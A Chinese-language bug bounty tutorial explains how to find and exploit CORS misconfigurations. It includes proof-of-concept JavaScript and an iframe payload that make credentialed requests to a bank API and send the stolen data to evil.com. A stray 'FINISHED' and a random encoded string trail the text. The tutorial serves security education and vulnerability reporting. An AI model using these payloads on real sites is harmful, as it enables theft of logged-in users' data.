欢迎回到Bug Bounty训练营。你已经掌握了直接攻击用户的技术。现在,我们将转向一种针对Web应用程序之间交互方式的漏洞:跨域资源共享(CORS)。CORS是一项安全特性,但当配置错误时,它会变成一个关键缺陷,允许一个域上的攻击者窃取另一个域上已登录用户的敏感数据。这并非关于代码注入,而是关于欺骗浏览器的安全策略,让它交出本不该交出的数据。让我们剖析CORS的工作原理,并精确地探讨如何利用其薄弱的配置。
60秒理解CORS:跨域的门卫
默认情况下,浏览器的同源策略(SOP)会阻止来自evil.com的脚本读取来自api.bank.com的数据。CORS是一种机制,它允许api.bank.com为受信任的源安全地放宽这一规则。当一个网站想要允许跨域请求时,它会在HTTP响应中包含特定的头部,其中最关键的便是Access-Control-Allow-Origin(ACAO)。
漏洞挖掘:错误配置的黄金法则
一个错误配置的CORS策略,其核心问题在于盲目信任。作为漏洞挖掘者,你需要寻找那些过于宽松或可预测的ACAO值。
1. 反射源(Reflected Origin)
这是最常见也是最危险的错误配置。服务器在ACAO头中不加验证地回显请求的Origin头。
- 测试方法: 使用Burp Suite或任何HTTP客户端,向目标发送一个请求,并添加一个任意的、你控制的
Origin头,例如Origin: https://evil.com。 - 漏洞利用: 如果响应头中包含
Access-Control-Allow-Origin: https://evil.com并且Access-Control-Allow-Credentials: true,那么这就是一个致命漏洞。你可以创建一个恶意页面,当受害者(已登录目标站点)访问时,该页面会向目标API发起请求,并窃取其凭证和敏感数据。
// 概念验证代码(在evil.com上)
fetch('https://api.bank.com/user/details', {
credentials: 'include' // 关键:发送cookies
})
.then(response => response.json())
.then(data => {
// 将窃取的数据发送到攻击者服务器
fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});
2. 信任有漏洞的源
服务器可能信任了特定的域,如trusted-site.com。但如果这个域本身存在漏洞(例如XSS),攻击者就可以利用该域发起跨域请求。
- 测试方法: 检查ACAO头是否列出了固定的、但可能存在安全缺陷的源。
- 漏洞利用: 在
trusted-site.com上找到一个XSS漏洞,然后通过该漏洞执行上述恶意JavaScript代码,从而间接访问api.bank.com。
3. Origin为null
某些请求(如从sandboxed iframe或data: URL发起的请求)的Origin头为null。如果服务器配置了Access-Control-Allow-Origin: null,这同样很危险。
- 测试方法: 使用一个
sandboxed iframe发起请求,观察服务器是否返回了null。 - 漏洞利用: 你可以创建一个包含
sandboxed iframe的恶意页面,iframe内部加载攻击代码来向目标发送请求。由于请求的源是null,服务器将允许访问。
<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,<script>
fetch('https://api.bank.com/user/data', {credentials:'include'})
.then(r=>r.text()).then(d=>location='https://evil.com/?d='+encodeURIComponent(d))
</script>"></iframe>
4. 通配符(*)与凭证的致命组合
CORS规范规定,如果Access-Control-Allow-Origin设置为通配符*,则不能同时设置Access-Control-Allow-Credentials: true。然而,有些实现会错误地将两者结合,或者通过正则匹配错误地允许了包含凭证的请求。
- 测试方法: 寻找同时存在
ACAO: *和ACAC: true的响应。 - 漏洞利用: 尽管现代浏览器会阻止这种组合发送凭证,但一些过时的浏览器或后端代理可能存在逻辑缺陷,使得攻击者仍有可能利用。
技术利用链:从检测到数据渗出
- 侦察: 使用工具(如Burp Suite的主动扫描)或手动分析HTTP流量,寻找配置了CORS的API端点。重点关注那些处理敏感信息(如个人资料、交易记录)的接口。
- 测试: 修改请求的
Origin头,观察响应中的Access-Control-Allow-Origin和Access-Control-Allow-Credentials字段。记录所有反射源或信任不可信源的情况。 - 构建概念验证(PoC): 一旦发现漏洞,编写一个简单的HTML/JavaScript页面,利用
fetch或XMLHttpRequest向目标发起带有凭证的请求,并将返回的数据发送到你的服务器。 - 提交报告: 向漏洞赏金平台或厂商提交报告,清晰说明漏洞位置、利用方法以及潜在危害(如账户接管、敏感信息泄露)。
CORS错误配置是跨域数据窃取的理想入口。通过深入理解其工作机制和常见的错误配置模式,你可以在众多看似安全的Web应用中发现这些隐藏的裂缝,将浏览器的安全机制转变为数据泄露的通道。FINISHED CSD0tFqvECLokhw9aBeRqqy7pDVE9jtHSghPeFdiPyG0bruQY9bn5ZOjVTDfZnF9zeJFylaWscC6PL9u7wnOcycvJ2UKx1YXwEY8aAKi5pmg/xd074jznAuyAWxSE4jrVoViu3oY1nzEXBGNZAEcZ3Npr51toBU0hl1P7Qy465+Zi3HXMsPZyjAbWb7wIJS4